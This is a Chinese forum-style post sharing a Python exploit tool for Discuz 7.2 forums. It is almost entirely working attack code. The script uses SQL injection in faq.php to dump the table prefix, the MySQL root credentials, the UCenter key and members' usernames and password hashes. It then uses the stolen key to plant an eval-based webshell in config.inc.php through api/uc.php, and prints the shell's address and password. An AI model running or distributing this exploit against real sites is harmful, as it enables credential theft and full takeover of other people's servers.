Discuz 7.2 faq.php全自动利用工具,getshell 以及dump数据，python 版的uc_key getshell部分的代码来自网上(感谢作者)

实现代码:

#!/usr/bin/env python

# -*- coding: gbk -*-

# -*- coding: gb2312 -*-

# -*- coding: utf_8 -*-

# author iswin

import sys

import hashlib

import time

import math

import base64

import urllib2

import urllib

import re

def sendRequest(url,para):

try:

data = urllib.urlencode(para)

req=urllib2.Request(url,data)

res=urllib2.urlopen(req,timeout=20).read()

except Exception, e:

print 'Exploit Failed!\n%s'%(e)

exit(0);

return res

def getTablePrefix(url):

print 'Start GetTablePrefix...'

para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select hex(TABLE_NAME) from INFORMATION_SCHEMA.TABLES where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}

res=sendRequest(url,para);

pre=re.findall("Duplicate entry '(.*?)'",res);

if len(pre)==0:

print 'Exploit Failed!'

exit(0);

table_pre=pre[0][:len(pre[0])-1].decode('hex')

table_pre=table_pre[0:table_pre.index('_')]

print 'Table_pre:%s'%(table_pre)

return table_pre

def getCurrentUser(url):

para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}

res=sendRequest(url,para)

pre=re.findall("Duplicate entry '(.*?)'",res)

if len(pre)==0:

print 'Exploit Failed!'

exit(0);

table_pre=pre[0][:len(pre[0])-1]

print 'Current User:%s'%(table_pre)

return table_pre

def getUcKey(url):

para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select substr(authkey,1,62) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}

para1={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select substr(authkey,63,2) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}

res=sendRequest(url,para);

res1=sendRequest(url,para1);

key1=re.findall("Duplicate entry '(.*?)'",res)

key2=re.findall("Duplicate entry '(.*?)'",res1)

if len(key1)==0:

print 'Get Uc_Key Failed!'

return ''

key=key1[0][:len(key1[0])-1]+key2[0][:len(key2[0])-1]

print 'uc_key:%s'%(key)

return key

def getRootUser(url):

para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select concat(user,0x20,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}

res=sendRequest(url,para);

pre=re.findall("Duplicate entry '(.*?)'",res)

if len(pre)==0:

print 'Exploit Failed!'

exit(0);

table_pre=pre[0][:len(pre[0])-1].split(' ')

print 'root info:\nuser:%s password:%s'%(table_pre[0],table_pre[1])

def dumpData(url,table_prefix,count):

para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select concat(username,0x20,password) from %s_members limit %d,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'%(table_prefix,count)}

res=sendRequest(url,para);

datas=re.findall("Duplicate entry '(.*?)'",res)

if len(datas)==0:

print 'Exploit Failed!'

exit(0)

cleandata=datas[0][:len(datas[0])-1]

info=cleandata.split(' ')

print 'user:%s pass:%s'%(info[0],info[1])

def microtime(get_as_float = False) :

if get_as_float:

return time.time()

else:

return '%.8f %d' % math.modf(time.time())

def get_authcode(string, key = ''):

ckey_length = 4

key = hashlib.md5(key).hexdigest()

keya = hashlib.md5(key[0:16]).hexdigest()

keyb = hashlib.md5(key[16:32]).hexdigest()

keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:]

cryptkey = keya + hashlib.md5(keya+keyc).hexdigest()

key_length = len(cryptkey)

string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string

string_length = len(string)

result = ''

box = range(0, 256)

rndkey = dict()

for i in range(0,256):

rndkey[i] = ord(cryptkey[i % key_length])

j=0

for i in range(0,256):

j = (j + box[i] + rndkey[i]) % 256

tmp = box[i]

box[i] = box[j]

box[j] = tmp

a=0

j=0

for i in range(0,string_length):

a = (a + 1) % 256

j = (j + box[a]) % 256

tmp = box[a]

box[a] = box[j]

box[j] = tmp

result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))

return keyc + base64.b64encode(result).replace('=', '')

def get_shell(url,key,host):

headers={'Accept-Language':'zh-cn',

'Content-Type':'application/x-www-form-urlencoded',

'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)',

'Referer':url

}

tm = time.time()+10*3600

tm="time=%d&action=updateapps" %tm

code = urllib.quote(get_authcode(tm,key))

url=url+"?code="+code

data1='''

http://xxx\');eval($_POST[3]);//'''

try:

req=urllib2.Request(url,data=data1,headers=headers)

ret=urllib2.urlopen(req)

except:

return "Exploit Falied"

data2='''

http://aaa'''

try:

req=urllib2.Request(url,data=data2,headers=headers)

ret=urllib2.urlopen(req)

except:

return "error"

try:

req=urllib2.Request(host+'/config.inc.php')

res=urllib2.urlopen(req,timeout=20).read()

except Exception, e:

print 'GetWebshell Failed,%s'%(e)

return

print "webshell:"+host+"/config.inc.php,password:3"

if __name__ == '__main__':

print 'DZ7.x Exp Code By iswin'

if len(sys.argv)<3:

print 'DZ7.x Exp Code By iswin\nusage:python dz7.py http://www.bitsCN.com 10'

exit(0)

url=sys.argv[1]+'/faq.php'

count=int(sys.argv[2])

user=getCurrentUser(url)

if user.startswith('root@'):

getRootUser(url)

uc_key=getUcKey(url)

if len(uc_key)==64:

print 'Start GetWebshell...'

get_shell(sys.argv[1]+'/api/uc.php',uc_key,sys.argv[1])

tb_pre=getTablePrefix(url)

print 'Start DumpData...'

for x in xrange(0,count):

dumpData(url,tb_pre,x)

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